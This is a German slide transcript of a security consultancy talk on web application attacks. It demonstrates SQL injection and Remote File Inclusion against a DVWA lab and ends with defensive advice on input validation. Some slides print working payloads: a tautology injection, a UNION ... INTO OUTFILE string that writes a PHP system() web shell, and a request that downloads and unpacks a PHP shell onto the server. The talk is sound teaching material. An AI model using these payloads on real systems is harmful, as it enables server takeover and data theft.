Echte Zauberei oder billige Tricks?

Transkript

1 ? 3. Tag der IT-Sicherheit Kai Jendrian + Klaus J. Mueller Angriffe auf Webanwendungen sind allüberall gegenwärtig. Handelt es sich hierbei um echte Zauberei, gegen die kein Kraut gewachsen ist oder sind es am Ende doch nur billige Tricks, gegen die man sich wirksam schützen kann - wenn man sie denn nur durchschaut hat? Secorvo Security Consulting GmbH, Karlsruhe Seite 1

2 Secorvo Security Consulting GmbH, Karlsruhe Seite 2

3 Ein Blick in die aktuelle Presse: Prominente Firmen wurden über Schwachstellen in Web-Anwendungen angegriffen. Siehe: html URL-Manipulation html html html Secorvo Security Consulting GmbH, Karlsruhe Seite 3

4 Secorvo Security Consulting GmbH, Karlsruhe Seite 4

5 Die prominenten Beispiele sind nur die Spitze des Eisberges. Im Netz finden sich unzählige weitere Beispiele für Schwachstellen in Web-Anwendungen. Siehe: Secorvo Security Consulting GmbH, Karlsruhe Seite 5

6 Die Sicherheit von Webanwendungen geht alle an! Wer auch immer mit der Entwicklung oder dem Betrieb von Webanwendungen zu tun hat, muss sich um Sicherheit kümmern! Secorvo Security Consulting GmbH, Karlsruhe Seite 6

7 Für ein besseres Verständnis der Herausforderung "Sicherheit von Webanwendungen" schauen wir uns einige Angriffs-Tricks mal etwas genauer an! Secorvo Security Consulting GmbH, Karlsruhe Seite 7

8 SQL-Injection Der erste "Trick" ist die SQL-Injection. Hierbei spricht man auch gerne von den Kakerlaken der Webanwendungen. Man macht eine Kakerlake platt und hunderte neue kommen aus ihren Löchern! Siehe: Secorvo Security Consulting GmbH, Karlsruhe Seite 8

9 2 3. Tag der IT-Sicherheit $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) SELECT first_name, last_name FROM users WHERE user_id = '2' Hier ein Beispiel für den Ablauf einer Abfrage in einer Webanwendung. In das Formularfeld "User ID:" wird durch den Benutzer der Wert 2 eingetippt. Dieser Wert wird durch PHP-Code in einer Webanwendung in eine Zeichenkette eingefügt, der eine Abfrage an einen Datenbankserver repräsentiert. Diese Zeichenkette wird durch die Anwendung an die Datenbank übergeben. Im unteren Abschnitt ist dargestellt, welche SQL-Abfrage die Datenbank zu Gesicht bekommt und ausführt. An dieser Stelle sind auf den ersten Blick keine Auffälligkeiten zu erkennen. Secorvo Security Consulting GmbH, Karlsruhe Seite 9

10 Die Ausgabe sieht auch unverdächtig aus, es wurde der gewünschte Datensatz mit der User-ID 2 ausgewählt. Secorvo Security Consulting GmbH, Karlsruhe Seite 10

11 Soweit scheint an dieser Stelle noch alles im grünen Bereich. Secorvo Security Consulting GmbH, Karlsruhe Seite 11

12 Aber was passiert, wenn wir dem Magier noch etwas genauer auf die Finger schauen? Secorvo Security Consulting GmbH, Karlsruhe Seite 12

13 2' OR '1'='1 3. Tag der IT-Sicherheit $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) SELECT FROM first_name, last_name users WHERE ( user_id = '2') OR ('1'='1') Das Szenario ist wieder das gleiche. Nur tippt der kreative Benutzer jetzt einen zunächst scheinbar unsinnigen Wert in das Feld ein. Dieser Wert wird unverändert durch die Webanwendung in eine Zeichenkette eingebaut und an die Datenbank übergeben. Und hier offenbart sich der Trick: Wenn man genau hinschaut, kann man erkennen, dass durch das erste einzelne Hochkomma in der Eingabe der erste Teil der Prüfung in der Datenbankabfrage abgeschlossen wird und mit dem Rest der Eingabe eine zusätzliche Prüfung angefügt wird. Gemein an dieser Stelle ist, dass durch diese zusätzliche Abfrage die Prüfung immer einen wahren Wert zurückliefert. Hier ist Vorsicht angesagt! Diese Art von SQL-Injection kann beispielsweise auch zur Umgehung von schlecht realisierten Anmeldeformularen von Webanwendungen genutzt werden. Secorvo Security Consulting GmbH, Karlsruhe Seite 13

14 Das Ergebnis der manipulierten Abfrage sieht schon nicht mehr aus wie gewünscht! Secorvo Security Consulting GmbH, Karlsruhe Seite 14

15 Dieser Angriff alleine ist schon gefährlich! Aber es kann noch schlimmer kommen! Secorvo Security Consulting GmbH, Karlsruhe Seite 15

16 Ein noch tieferer Blick in die Trickkiste offenbart das wahre Übel! Secorvo Security Consulting GmbH, Karlsruhe Seite 16

17 -1' UNION SELECT "? system($_request['cmd']);?>", '' INTO OUTFILE '/srv/www/sites/dvwa/hack.php 3. Tag der IT-Sicherheit $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) SELECT FROM first_name, last_name users WHERE user_id = '-1' UNION SELECT "? system($_request['cmd']);?>", '' INTO OUTFILE '/srv/www/sites/dvwa/hack.php' Das Szenario ist noch einmal das gleiche. Nur tippt der kreative Benutzer jetzt noch unsinniger scheinende Werte in das Feld ein. Dieser Wert wird wiederum unverändert durch die Webanwendung in eine Zeichenkette eingebaut und an die Datenbank übergeben. Auch in diesem Fall wird die Prüfung in der SQL-Abfrage durch das erste einzelne Hochkomma erst einmal abgeschlossen. Nun wird allerdings hier nicht die Prüfung verändert, sondern durch den SQL-Befehl UNION wird eine zweite Abfrage an die erste angeschlossen. Durch den Wert 234 wurde im konkreten Fall sichergestellt, dass die erste Abfrage keinen Wert zurückliefert. Mit dem zweiten SQL-Konstrukt wird PHP-Code in eine Datei im Kontext der Anwendung geschrieben. Dieser PHP-Code ermöglicht, über einen Aufruf einer Web-Seite auf dem Web-Server beliebige Programme aufzurufen. Nun kann durch folgenden Beispielaufruf ein Angreifer eine präparierte Webseite nutzen, um eine komplette Shell auf dem Opferserver zu installieren. Diese kann er komfortabel durch seinen Browser kontrollieren. Hier der Beispielaufruf: O%20/srv/www/sites/dvwa/phpshell.tar%20http:// ar%20-c%20/srv/www/sites/dvwa%20-xf%20/srv/www/sites/dvwa/phpshell.tar Siehe auch: PS: Im konkreten Fall wurde der Umweg über ein UNION zur Abfrage von mehreren SQL- Kommandos verwendet, da der PHP-Befehl mysql_query die Ausführung von mehreren durch ein Semikolon getrennten SQL-Befehlen nicht unterstützt. In Umgebungen, wo die entsprechende Sprache dieses Konstrukt erlaubt, kann der Server noch deutlich einfacher über die Verwendung von INSERT, UPDATE oder DELETE sowie u. U. der direkten Ausführung von externen Programmen durch Prozeduren angegriffen werden. Secorvo Security Consulting GmbH, Karlsruhe Seite 17

18 Der Server des Opfers kann nun komfortabel durch den Browser vollständig kontrolliert werden! Secorvo Security Consulting GmbH, Karlsruhe Seite 18

19 Noch schlimmer geht es eigentlich nicht. So kann eine SQL-Injection zur vollständigen Übernahme eines Servers führen! Secorvo Security Consulting GmbH, Karlsruhe Seite 19

20 Ein zweiter Griff in die Trickkiste Secorvo Security Consulting GmbH, Karlsruhe Seite 20

21 Remote File Inclusion 3. Tag der IT-Sicherheit Darf ich mal kurz Ihren Server benutzen? würden Sie diesem freundlichen Herrn gestatten, seine Programme auf Ihrem Server zu installieren? Bei einer Remote File Inclusion -Schwachstelle erlauben Sie genau das: wildfremde Besucher Ihrer Webseite können Ihre eigenen (Schad-)Programme auf Ihrem Server ausführen sehen Sie selbst! Secorvo Security Consulting GmbH, Karlsruhe Seite 21

22 Auf der ersten Blick eine normale Webseite mit einer Liste der unternehmensinternen Ansprechpartner für Kunden mit Name und Mailadresse. Secorvo Security Consulting GmbH, Karlsruhe Seite 22

23 Sieht alles gut aus genau so war s gedacht. Secorvo Security Consulting GmbH, Karlsruhe Seite 23

24 Wollen wir doch mal schauen, was der Zauberer aus dem Hut holt Secorvo Security Consulting GmbH, Karlsruhe Seite 24

25 Die Ausgabe der Ansprechpartner wird über die Einbindung eines kleinen Programms realisiert, in welchem die Parameter angegeben werden, die auf der Webseite ausgegeben werden sollen. Secorvo Security Consulting GmbH, Karlsruhe Seite 25

26 Dummerweise aber wird auf dem Server nicht geprüft, wo die einzubindende Datei liegt. Eigentlich sollte diese auf dem Server selbst liegen. Was aber passiert, wenn nun an Stelle der eigentlichen Datei eine andere verwendet wird, in der weitere Felder übergeben werden? Zum Beispiel die direkte Telefondurchwahl? Dann wird diese auch angezeigt Dabei wird das Programm ( liste.php ) durch eines ersetzt, welches der Angreifer auf seinem Server im Internet abgelegt hat. Er muss lediglich den Namen des ursprünglichen Programms durch die Adresse ersetzen, an der sein Programm zu finden ist, also: liste.php durch und schon kann er seine eigenen Programme auf Ihrem Server ausführen! Secorvo Security Consulting GmbH, Karlsruhe Seite 26

27 Die Ausgabe der internen Telefondurchwahlnummern ist schon sehr unangenehm aber es kommt noch schlimmer Secorvo Security Consulting GmbH, Karlsruhe Seite 27

28 sehen Sie genau hin Secorvo Security Consulting GmbH, Karlsruhe Seite 28

29 Das Programm wird nun um zusätzliche Felder erweitert; die Namen der Felder werden geraten der Angreifer hat ja beliebig viele Versuche und auch Zeit zur Verfügung. Secorvo Security Consulting GmbH, Karlsruhe Seite 29

30 Durch das Hinzufügen weiterer Spalten wird der angegriffene Server plötzlich so gesprächig, dass er auch die Dauer der Betriebszugehörigkeit und die Jahresgehälter der Mitarbeiter ausplaudert! Secorvo Security Consulting GmbH, Karlsruhe Seite 30

31 Der Angreifer kann also seine eigenen Programme auf dem angegriffenen Server ausführen, ohne dass dies dem Serverbetreiber auffällt! Auf die gleiche Weise lassen sich so nicht nur interne Informationen ausgeben, sondern auch beliebige andere Programme starten, die für das weitere Ausforschen der Datenbestände auf dem Opfer-Server nützlich sein können. Der Server gelangt so unter die vollständige Kontrolle des Angreifers! Secorvo Security Consulting GmbH, Karlsruhe Seite 31

32 Nachdem die Tricks der Angriffe entzaubert worden sind, stellt sich die Frage, was man tun kann, um sich selbst dagegen zu schützen. Secorvo Security Consulting GmbH, Karlsruhe Seite 32

33 Secorvo Security Consulting GmbH, Karlsruhe Seite 33

34 INPUT VALIDATION 3. Tag der IT-Sicherheit DIE WICHTIGSTE REGEL FÜR WEBANWENDUNGEN: KONTROLLIEREN SIE IMMER ALLE EINGABEN!!! Siehe: Secorvo Security Consulting GmbH, Karlsruhe Seite 34

35 Darüber hinaus gibt es viele Punkte, die für die Sicherheit von Webanwendungen relevant sind. Es ist empfehlenswert, sich mit diesen Punkten ausführlich auseinanderzusetzen. Dabei sind alle Phasen der Software-Entwicklung betroffen: Anforderungsanalyse Entwurf Implementierung Testing & QA Roll-Out Betrieb Wartung und Incident-Management Siehe: Professional/dp/ X Secorvo Security Consulting GmbH, Karlsruhe Seite 35

36 Nichts ist lehrreicher, als eigene Erfahrungen zu sammeln. Das Experimentieren mit Webanwendungen liefert wertvolle Erkenntnisse. Zum Einstieg bietet sich folgender Experimentierkasten an: Secorvo Security Consulting GmbH, Karlsruhe Seite 36

37 Tauschen Sie sich mit Anderen aus; lernen Sie, wie Sie die Sicherheit Ihrer Webanwendungen verbessern können. Hierzu bieten sich Seminare, Konferenzen, Organisationen aber auch lokale Zusammenschlüsse von interessierten Menschen an. Siehe: Secorvo Security Consulting GmbH, Karlsruhe Seite 37

38 Jetzt müssen Sie nur noch handeln! Secorvo Security Consulting GmbH, Karlsruhe Seite 38

39 / klaus.j.mueller@secorvo.de Secorvo Security Consulting GmbH, Karlsruhe Seite 39

40 Bildquellen Folie 01: [2006] Stephen Coburn, bigstockphoto.com Folie 02: [2010] Scott Griessel, bigstockphoto.com Folie 04: [2009] Richard Lindie, bigstockphoto.com Folie 06: [2011] Aleksandar Kosev, bigstockphoto.com Folie 07: [2010] Dmitriy Shironosov, bigstockphoto.com Folie 08: [2009] Mau Kae Horng, bigstockphoto.com Folie 11: [2010] timurock, bigstockphoto.com Folie 12: [2007] Vincent Giordano, bigstockphoto.com Folie 15: [2010] timurock, bigstockphoto.com Folie 19: [2010] timurock, bigstockphoto.com Folie 21: [2010] Ron Sumners, bigstockphoto.com Folie 32: [2011] Poznyakov Gennadiy, bigstockphoto.com Folie 33: [2011] Kai Jendrian Folie 35: [2008] Dmitriy Shironosov,bigstockphoto.com Folie 36: [2009] BlueOrange Studio, bigstockphoto.com Folie 37: [2008] Edgard Rodriguez, bigstockphoto.com Folie 38: [2008] Mykola Troitskyy, bigstockphoto.com Folie 39: [2006] Jon Helgason, bigstockphoto.com 3. Tag der IT-Sicherheit Bildquellen Folie 01: [2006] Stephen Coburn, bigstockphoto.com Folie 02: [2010] Scott Griessel, bigstockphoto.com Folie 04: [2009] Richard Lindie, bigstockphoto.com Folie 06: [2011] Aleksandar Kosev, bigstockphoto.com Folie 07: [2010] Dmitriy Shironosov, bigstockphoto.com Folie 08: [2009] Mau Kae Horng, bigstockphoto.com Folie 11: [2010] timurock, bigstockphoto.com Folie 12: [2007] Vincent Giordano, bigstockphoto.com Folie 15: [2010] timurock, bigstockphoto.com Folie 19: [2010] timurock, bigstockphoto.com Folie 21: [2010] Ron Sumners, bigstockphoto.com Folie 32: [2011] Poznyakov Gennadiy, bigstockphoto.com Folie 33: [2011] Kai Jendrian Folie 35: [2008] Dmitriy Shironosov,bigstockphoto.com Folie 36: [2009] BlueOrange Studio, bigstockphoto.com Folie 37: [2008] Edgard Rodriguez, bigstockphoto.com Folie 38: [2008] Mykola Troitskyy, bigstockphoto.com Folie 39: [2006] Jon Helgason, bigstockphoto.com Secorvo Security Consulting GmbH, Karlsruhe Seite 40